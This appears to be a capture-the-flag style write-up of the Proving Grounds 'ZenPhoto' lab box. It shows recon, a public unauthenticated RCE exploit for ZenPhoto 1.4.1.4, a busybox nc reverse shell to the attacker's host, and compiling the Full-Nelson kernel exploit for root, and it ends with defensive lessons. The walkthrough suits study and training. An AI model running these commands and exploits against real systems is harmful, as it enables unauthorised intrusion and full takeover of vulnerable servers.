the_open_door
coffee
ESEN

ZenPhoto

Proving Grounds PracticeMediumLinux192.168.118.41

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#zenphoto#cve-2011-4825#public-exploit#rce#kernel-exploit#full-nelson#cve-2010-4258#oscp
TL;DR. ZenPhoto serves a ZenPhoto 1.4.1.4 gallery under /test/, a version with a known unauthenticated RCE (CVE-2011-4825, ajax_create_folder.php). The public exploit 18083.php gives execution as www-data and, with busybox nc, a reverse shell. The box is an ancient Ubuntu 10.04 with kernel 2.6.37: the Full-Nelson kernel exploit (15704.c, CVE-2010-4258) compiles on the target and takes us to root in one jump.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.118.41
64 bytes from 192.168.118.41: icmp_seq=1 ttl=61 time=31.3 ms

We sweep all TCP ports and fingerprint versions on the open ones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.41
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  ipp
80/tcp   open  http
3306/tcp open  mysql
nmap -p22,23,80,3306 -sCV 192.168.118.41 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp   open  ipp     CUPS 1.4
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)

The versions scream age: OpenSSH 5.3p1 and Apache 2.2.14 are Ubuntu 10.04 (2010). The service on 23 isn't telnet but CUPS 1.4 (with PUT enabled, an oddity that doesn't pan out here), and MySQL refuses anonymous connections. The real surface is HTTP on 80, and such an old system already hints the escalation will end up being a kernel exploit.

HTTP - TCP 80

The root shows nothing useful, so we fuzz routes. A /test/ directory appears:

dirsearch -u http://192.168.118.41 --exclude-status=403,404,503
301  /test  ->  http://192.168.118.41/test/
200  /test/

/test/ is a photo gallery. Looking at the page's source, the footer reveals the application and its exact version: ZenPhoto 1.4.1.4.

Source of /test/ with the footer zenphoto version 1.4.1.4 [8157] (Official Build)

With a concrete version, we go straight to known exploits:

searchsploit 'ZenPhoto 1.4'
searchsploit -m php/webapps/18083.php
ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution  |  php/webapps/18083.php
   Codes: OSVDB-76928, CVE-2011-4825

Shell as www-data

ZenPhoto 1.4.1.4: unauthenticated RCE (CVE-2011-4825)

The vulnerability (CVE-2011-4825) is in ajax_create_folder.php, a ZenPhoto file-manager endpoint that doesn't check authentication and lets you create and write a PHP file on the server; from there to command execution is one step. The public exploit 18083.php automates the process and drops a pseudo-shell. We rename it and run it against the /test/ install:

php rce.php 192.168.118.41 /test/

Exploit 18083.php running: zenphoto-shell# with whoami www-data and IP 192.168.118.41

+--------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit |
+--------------------------------------------------+

zenphoto-shell# whoami
www-data

That exploit shell is limited, so we use it to launch a full reverse shell. As with other boxes in this batch, high ports don't come back, so we aim at 80 with busybox nc. We keep Penelope listening on 80:

penelope 80

Then we fire the reverse shell:

busybox nc 192.168.45.227 80 -e /bin/bash

Penelope catches the reverse shell from offsecsrv (192.168.118.41), upgrades it to PTY; id returns www-data

[+] Got reverse shell from offsecsrv~192.168.118.41-Linux-i686  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
www-data@offsecsrv:/var/www/test/zp-core/.../ajaxfilemanager/inc$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@offsecsrv:...$ whoami
www-data

The session lands as www-data on host offsecsrv. We read the first proof:

cat local.txt && whoami && ip a && hostname

local.txt read as www-data on offsecsrv, with whoami www-data and IP 192.168.118.41

19d58f3c626fb58e811fe6bf22d967d4

Privilege escalation

Full-Nelson: kernel exploit (Ubuntu 10.04, 2.6.37)

We don't need deep local enumeration: the recon versions already shouted Ubuntu 10.04. That system ships kernel 2.6.37, vulnerable to several classic local privilege escalations. We search by distribution:

searchsploit 'Ubuntu 10.04'
searchsploit -m linux/local/15704.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation  |  linux/local/15704.c
   Codes: CVE-2010-4258, CVE-2010-3850, CVE-2010-3849

Full-Nelson (kernel exploit) chains three Econet subsystem flaws to run code in ring 0. We serve the .c from our box, download it on the target, compile it in place (the box has gcc) and run it:

python3 -m http.server 8081
wget http://192.168.45.227:8081/15704.c
gcc 15704.c -o a.out
./a.out

Full-Nelson compiled and run: resolves kernel addresses and ends in Got root!; id returns uid=0

[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xf82062d0
 [+] Resolved commit_creds to 0xc016dcc0
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)

The uid=0(root) confirms the escalation. We read the final proof:

cat /root/proof.txt && ip a && hostname && whoami

proof.txt read as root on offsecsrv, with hostname offsecsrv and whoami root

c6a70ba214b4be51abd7896d9b2a9b26

Attack chain

Apache 2.2.14 (TCP 80)  ->  /test/  =  ZenPhoto 1.4.1.4
        │  ajax_create_folder.php  ──  CVE-2011-4825  ──  unauthenticated RCE (18083.php)
        │  busybox nc to port 80 (egress-allowed port)
        ▼
shell as www-data  (local.txt)
        │  Ubuntu 10.04 system, kernel 2.6.37
        │  Full-Nelson (15704.c, CVE-2010-4258)  ->  gcc + ./a.out
        ▼
shell as root  (proof.txt)

Lessons learned

  • The exact version is half the work. Reading the source footer revealed ZenPhoto 1.4.1.4, and from there to searchsploit and CVE-2011-4825 was direct. Hiding or, better, updating exposed versions closes the attacker's cheapest path.
  • Unmaintained software = public RCE. ZenPhoto 1.4.1.4 (2011) carries a known unauthenticated RCE; nothing had to be discovered, just a published exploit applied. Keeping applications current is the only real defense.
  • An old kernel is near-guaranteed escalation. The recon versions (OpenSSH 5.3, Apache 2.2.14) already gave away Ubuntu 10.04; the 2.6.37 kernel fell to Full-Nelson. A caveat: kernel exploits can crash the box, so in a real environment they're reserved for last.
  • Egress filtering dictates the callback port. A high-port callback didn't come back; aiming the reverse shell at the already-open 80 sidesteps that control.
Command cheatsheet 10 commands

Quick review